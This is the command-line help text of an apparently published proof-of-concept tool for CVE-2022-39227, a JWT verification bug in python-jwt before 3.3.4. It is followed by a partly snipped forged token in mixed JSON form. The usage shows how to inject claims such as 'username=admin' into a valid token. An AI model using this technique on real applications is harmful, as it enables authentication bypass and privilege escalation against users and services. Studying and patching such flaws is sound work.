usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}